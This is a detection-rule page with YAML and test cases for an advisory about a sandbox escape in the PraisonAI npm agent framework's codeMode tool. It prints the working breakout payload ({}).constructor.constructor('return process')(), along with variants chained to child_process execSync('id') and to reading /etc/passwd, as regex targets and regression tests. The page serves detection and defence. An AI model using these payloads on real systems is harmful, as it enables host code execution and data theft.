ATR-2026-01953critical工具下毒draft
npm PraisonAI codeMode Sandbox Escape via Function Constructor Prototype Chain (GHSA-vmmj-pfw7-fjwp)
Detects GHSA-vmmj-pfw7-fjwp (CRITICAL): praisonai npm >= 1.4.0 <= 1.7.1 exposes a `codeMode` builtin tool (src/tools/builtins/code-mode.ts) that claims sandbox:true but executes the supplied `code` in the HOST V8 context via `new Function('sandbox', 'with (sandbox) { ' + code + ' }')`. Setting process/require to undefined and blocklisting `require('fs')` is bypassed by recovering the real Function constructor through the prototype chain. This rule keys on the distinctive breakout tokens: `.constructor.constructor('return process')()` and `process.mainModule.require`, which let attacker code reach fs / child_process for host RCE. Fixed in 1.7.2.
嚴重度
critical
類別
工具下毒
掃描目標
both
作者
ATR Community
建議回應
alertblock input
參考資料
OWASP Agentic
ASI06:2026 - Tool Misuse
OWASP LLM
LLM06:2025 - Excessive Agency
MITRE ATLAS
AML.T0049 - Exploit Public-Facing Application
偵測條件
組合方式: any- 01Prototype-chain Function-constructor breakout: x.constructor.constructor('return process'/global/require) — the GHSA-vmmj-pfw7-fjwp escape primitive欄位: content運算子: regex
- 02Post-escape host access: process.mainModule.require('child_process'/'fs') used to reach blocked modules after sandbox bypass欄位: content運算子: regex
- 03The vulnerable sink itself: new Function("sandbox", "with (sandbox) { ... }") host-context eval in code-mode.ts欄位: content運算子: regex
- 04explicit GHSA framing combined with the codeMode/Function-constructor exploit vocabulary欄位: content運算子: regex
攻擊範例(規則會觸發)
({}).constructor.constructor('return process')()const p = ([]).constructor.constructor("return process")(); p.mainModule.require('child_process').execSync('id')var x = ''.constructor.constructor('return global.process')(); x.mainModule.require('fs').readFileSync('/etc/passwd')const fn = new Function('sandbox', `with (sandbox) { ${code} }`); fn(sandbox);PoC for GHSA-vmmj-pfw7-fjwp: codeMode runs ({}).constructor.constructor('return process')() to escape the fake sandbox
以上為真實攻擊 payload 的脫敏版本,與規則一同版本化,作為 regression test——確保未來的修訂不會悄悄漏掉它們。
正常樣本(規則不會觸發)
- Single benign constructor reflection to read a class name — no double-constructor return-process breakout
console.log(obj.constructor.name); // log the class name of obj
- Legitimate single new Function template compile — not the with(sandbox) host sink nor a prototype-chain escape
const tmpl = new Function('data', 'return `Hello ${data.name}`'); tmpl({name: 'World'}); - Ordinary host-side process.env read in trusted code — no mainModule.require of child_process/fs and no escape primitive
if (process.env.NODE_ENV === 'production') { app.enableCache(); } - Plain mitigation/advisory sentence mentioning the GHSA id but containing no exploit tokens or codeMode/Function-constructor vocabulary
Upgrade praisonai to 1.7.2 to remediate the codeMode sandbox escape GHSA-vmmj-pfw7-fjwp.
已知誤報情境
- ▸Security advisory or blog text quoting the GHSA-vmmj-pfw7-fjwp PoC for documentation, without it being executed as codeMode input.
- ▸Legitimate code that references `constructor` once (e.g. `obj.constructor.name`) or uses a single `new Function(...)` for templating, without the double-constructor `return process` breakout.
- ▸Node app legitimately reading `process.env` or `process.mainModule` in trusted host code that is not submitted to a sandboxed codeMode/eval tool.
完整 YAML 定義
在 GitHub 編輯 →title: "npm PraisonAI codeMode Sandbox Escape via Function Constructor Prototype Chain (GHSA-vmmj-pfw7-fjwp)"
id: ATR-2026-01953
rule_version: 1
status: draft
description: >
Detects GHSA-vmmj-pfw7-fjwp (CRITICAL): praisonai npm >= 1.4.0 <= 1.7.1 exposes a
`codeMode` builtin tool (src/tools/builtins/code-mode.ts) that claims sandbox:true but
executes the supplied `code` in the HOST V8 context via `new Function('sandbox', 'with (sandbox) { ' + code + ' }')`.
Setting process/require to undefined and blocklisting `require('fs')` is bypassed by
recovering the real Function constructor through the prototype chain. This rule keys on the
distinctive breakout tokens: `.constructor.constructor('return process')()` and
`process.mainModule.require`, which let attacker code reach fs / child_process for host RCE.
Fixed in 1.7.2.
author: "ATR Community"
date: "2026/06/29"
schema_version: "0.1"
detection_tier: pattern
maturity: test
severity: critical
references:
owasp_llm: ["LLM06:2025 - Excessive Agency"]
owasp_agentic: ["ASI06:2026 - Tool Misuse"]
mitre_atlas: ["AML.T0049 - Exploit Public-Facing Application"]
mitre_attack: ["T1190 - Exploit Public-Facing Application"]
cve: ["GHSA-vmmj-pfw7-fjwp"]
metadata_provenance: { mitre_atlas: human-reviewed, owasp_llm: human-reviewed, owasp_agentic: human-reviewed }
compliance:
eu_ai_act:
- article: "15"
context: "Article 15 (accuracy, robustness, cybersecurity) — runtime detection of this technique is a cybersecurity control for high-risk AI systems. Technique: npm PraisonAI codeMode Sandbox Escape via Function Constructor Prototype Chain (GHSA-vmmj-pfw7-fjwp)."
strength: primary
- article: "9"
context: "Article 9 (risk management system) requires identified risks to be addressed by appropriate measures; this rule is a runtime risk-treatment control. Technique: npm PraisonAI codeMode Sandbox Escape via Function Constructor Prototype Chain (GHSA-vmmj-pfw7-fjwp)."
strength: secondary
nist_ai_rmf:
- subcategory: "MP.5.1"
context: "NIST AI RMF MAP 5.1 — likelihood and impact of the identified attack are characterised; this rule detects the adversarial input at runtime. Technique: npm PraisonAI codeMode Sandbox Escape via Function Constructor Prototype Chain (GHSA-vmmj-pfw7-fjwp)."
strength: primary
- subcategory: "MG.3.2"
context: "NIST AI RMF MANAGE 3.2 — runtime monitoring/maintenance control that surfaces this attack class. Technique: npm PraisonAI codeMode Sandbox Escape via Function Constructor Prototype Chain (GHSA-vmmj-pfw7-fjwp)."
strength: secondary
iso_42001:
- clause: "8.1"
context: "ISO/IEC 42001 Clause 8.1 (operational planning and control) — detection of this payload is an operational control. Technique: npm PraisonAI codeMode Sandbox Escape via Function Constructor Prototype Chain (GHSA-vmmj-pfw7-fjwp)."
strength: primary
- clause: "8.3"
context: "ISO/IEC 42001 Clause 8.3 (AI risk treatment) — this rule implements runtime detection as a treatment control. Technique: npm PraisonAI codeMode Sandbox Escape via Function Constructor Prototype Chain (GHSA-vmmj-pfw7-fjwp)."
strength: secondary
tags: { category: tool-poisoning, subcategory: sandbox-escape, scan_target: both, confidence: high, source: cve-disclosure, vendor_sources: praisonai-ghsa-vmmj-pfw7-fjwp }
agent_source: { type: llm_io, framework: [any], provider: [any] }
detection:
condition: any
false_positives:
- "Security advisory or blog text quoting the GHSA-vmmj-pfw7-fjwp PoC for documentation, without it being executed as codeMode input."
- "Legitimate code that references `constructor` once (e.g. `obj.constructor.name`) or uses a single `new Function(...)` for templating, without the double-constructor `return process` breakout."
- "Node app legitimately reading `process.env` or `process.mainModule` in trusted host code that is not submitted to a sandboxed codeMode/eval tool."
conditions:
- field: content
operator: regex
value: '(?i)(?:\(\s*\{\s*\}\s*\)|[\w$\]\)]\s*|["\x27]["\x27]\s*)\.\s*constructor\s*\.\s*constructor\s*\(\s*["\x27]\s*return\s+(?:process|global|require|this)\b'
description: "Prototype-chain Function-constructor breakout: x.constructor.constructor('return process'/global/require) — the GHSA-vmmj-pfw7-fjwp escape primitive"
- field: content
operator: regex
value: '(?i)process\s*\.\s*mainModule\s*\.\s*require\s*\(\s*["\x27](?:child_process|fs|os|vm|module)["\x27]'
description: "Post-escape host access: process.mainModule.require('child_process'/'fs') used to reach blocked modules after sandbox bypass"
- field: content
operator: regex
value: '(?i)new\s+Function\s*\(\s*["\x27]sandbox["\x27]\s*,\s*[`"\x27]\s*with\s*\(\s*sandbox\s*\)'
description: "The vulnerable sink itself: new Function(\"sandbox\", \"with (sandbox) { ... }\") host-context eval in code-mode.ts"
- field: content
operator: regex
value: '(?i)GHSA-vmmj-pfw7-fjwp[\s\S]{0,200}(?:codeMode|sandbox\s*escape|Function\s*constructor|return\s+process)'
description: "explicit GHSA framing combined with the codeMode/Function-constructor exploit vocabulary"
response:
actions: [alert, block_input]
message_template: >
[ATR-2026-01953] CRITICAL: PraisonAI codeMode sandbox escape (GHSA-vmmj-pfw7-fjwp) — prototype-chain
Function-constructor breakout (`.constructor.constructor('return process')()` / process.mainModule.require)
grants host fs + child_process RCE despite sandbox:true. Block and upgrade praisonai to >= 1.7.2.
confidence: 85
wild_fp_rate: 0
test_cases:
true_positives:
- input: "({}).constructor.constructor('return process')()"
expected: triggered
description: "Exact GHSA-vmmj-pfw7-fjwp PoC: empty-object prototype walk recovers Function and returns the real process object"
- input: "const p = ([]).constructor.constructor(\"return process\")(); p.mainModule.require('child_process').execSync('id')"
expected: triggered
description: "Array-based breakout variant chained into mainModule.require child_process for RCE"
- input: "var x = ''.constructor.constructor('return global.process')(); x.mainModule.require('fs').readFileSync('/etc/passwd')"
expected: triggered
description: "String-prototype breakout returning global.process then reading fs via mainModule.require"
- input: "const fn = new Function('sandbox', `with (sandbox) { ${code} }`); fn(sandbox);"
expected: triggered
description: "The vulnerable code-mode.ts sink with (sandbox) host-context Function eval"
- input: "PoC for GHSA-vmmj-pfw7-fjwp: codeMode runs ({}).constructor.constructor('return process')() to escape the fake sandbox"
expected: triggered
description: "Advisory-style attack framing referencing the GHSA id plus the Function constructor breakout"
true_negatives:
- input: "console.log(obj.constructor.name); // log the class name of obj"
expected: not_triggered
description: "Single benign constructor reflection to read a class name — no double-constructor return-process breakout"
- input: "const tmpl = new Function('data', 'return `Hello ${data.name}`'); tmpl({name: 'World'});"
expected: not_triggered
description: "Legitimate single new Function template compile — not the with(sandbox) host sink nor a prototype-chain escape"
- input: "if (process.env.NODE_ENV === 'production') { app.enableCache(); }"
expected: not_triggered
description: "Ordinary host-side process.env read in trusted code — no mainModule.require of child_process/fs and no escape primitive"
- input: "Upgrade praisonai to 1.7.2 to remediate the codeMode sandbox escape GHSA-vmmj-pfw7-fjwp."
expected: not_triggered
description: "Plain mitigation/advisory sentence mentioning the GHSA id but containing no exploit tokens or codeMode/Function-constructor vocabulary"